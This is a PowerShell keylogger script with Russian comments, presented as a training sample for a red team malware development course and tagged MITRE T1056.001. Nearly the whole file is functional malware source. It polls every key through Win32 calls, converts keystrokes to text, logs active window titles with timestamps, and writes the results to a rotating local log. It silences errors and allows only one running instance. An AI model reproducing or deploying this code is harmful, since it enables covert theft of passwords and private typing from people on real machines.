Загрузка данных
# Keylogger - учебная версия для red team maldev курса
# MITRE ATT&CK: T1056.001 (Input Capture: Keylogging)
# ВНИМАНИЕ: только для лабораторного использования
$ErrorActionPreference = 'SilentlyContinue'
# --- Конфигурация ---
$path = "C:\FIXME\keylogs.txt"
$maxLogSize = 5MB
$flushInterval = 1000 # мс
$pollInterval = 10 # мс
# --- Защита от саморепликации: один экземпляр через mutex ---
$mutexName = 'Global\MaldevKeylogger'
$mutex = New-Object System.Threading.Mutex($false, $mutexName)
if (-not $mutex.WaitOne(0)) { exit }
$writer = $null
try {
# --- Создаём каталог, если его нет ---
$dir = Split-Path -Parent $path
if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
if (-not (Test-Path $path)) { New-Item -ItemType File -Path $path | Out-Null }
# --- P/Invoke ---
$signatures = @'
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
public static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll", CharSet=CharSet.Unicode)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet=CharSet.Unicode)]
public static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder lpString, int nMaxCount);
'@
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# --- Буферы создаются один раз ---
$kbstate = New-Object byte[] 256
$sb = New-Object System.Text.StringBuilder 8
$titleBuf = New-Object System.Text.StringBuilder 256
# --- Потоковая запись вместо AppendAllText на каждый символ ---
$writer = New-Object System.IO.StreamWriter($path, $true, [System.Text.Encoding]::UTF8)
$writer.AutoFlush = $false
$buffer = New-Object System.Text.StringBuilder
$lastFlush = [DateTime]::UtcNow
$lastTitle = ''
# Спецклавиши, у которых ToUnicode не даст полезного символа
$specialKeys = @{
0x08='[BS]'; 0x09='[TAB]'; 0x0D="`r`n[ENTER]`r`n"; 0x1B='[ESC]'
0x20=' '; 0x25='[LEFT]'; 0x26='[UP]'; 0x27='[RIGHT]'
0x28='[DOWN]'; 0x2E='[DEL]'; 0x2D='[INS]'; 0x24='[HOME]'
0x23='[END]'; 0x21='[PGUP]'; 0x22='[PGDN]'
}
# --- Основной цикл (не привязан к существованию файла) ---
while ($true) {
Start-Sleep -Milliseconds $pollInterval
try {
for ($vk = 0x08; $vk -le 0xFE; $vk++) {
# Корректная проверка: старший бит, а не строгое -32767
if (($API::GetAsyncKeyState($vk) -band 0x8000) -eq 0) { continue }
# Контекст: активное окно (timestamp + заголовок)
$hwnd = $API::GetForegroundWindow()
$null = $API::GetWindowText($hwnd, $titleBuf, $titleBuf.Capacity)
$title = $titleBuf.ToString()
if ($title -ne $lastTitle) {
$null = $buffer.AppendLine()
$null = $buffer.AppendLine(("[{0:u}] --- {1} ---" -f [DateTime]::UtcNow, $title))
$lastTitle = $title
}
# Спецклавиши обрабатываем отдельно
if ($specialKeys.ContainsKey($vk)) {
$null = $buffer.Append($specialKeys[$vk])
continue
}
# GetKeyboardState должен быть успешен
if (-not $API::GetKeyboardState($kbstate)) { continue }
# MapVirtualKey(vk, 0) -> scan code, потом ToUnicode(vk, scan, ...)
$scan = $API::MapVirtualKey([uint32]$vk, 0)
$null = $sb.Clear()
$rc = $API::ToUnicode([uint32]$vk, [uint32]$scan, $kbstate, $sb, $sb.Capacity, 0)
if ($rc -gt 0) {
$null = $buffer.Append($sb.ToString())
}
elseif ($rc -eq -1) {
# Dead key: акценты/композиция — следующий символ завершит последовательность
# (для полноценной обработки нужна отдельная state-machine)
}
}
# Периодический flush накопленного буфера
if ($buffer.Length -gt 0 -and
([DateTime]::UtcNow - $lastFlush).TotalMilliseconds -ge $flushInterval) {
$writer.Write($buffer.ToString())
$writer.Flush()
$null = $buffer.Clear()
$lastFlush = [DateTime]::UtcNow
}
# Ротация лога по размеру
if ($writer.BaseStream.Length -gt $maxLogSize) {
$writer.Close()
$rotated = "{0}.{1:yyyyMMddHHmmss}" -f $path, [DateTime]::UtcNow
Move-Item -Path $path -Destination $rotated -Force
$writer = New-Object System.IO.StreamWriter($path, $true, [System.Text.Encoding]::UTF8)
$writer.AutoFlush = $false
}
}
catch {
# Ошибка одного тика не убивает цикл
}
}
}
finally {
if ($writer) { try { $writer.Flush(); $writer.Close() } catch {} }
if ($mutex) { try { $mutex.ReleaseMutex(); $mutex.Dispose() } catch {} }
}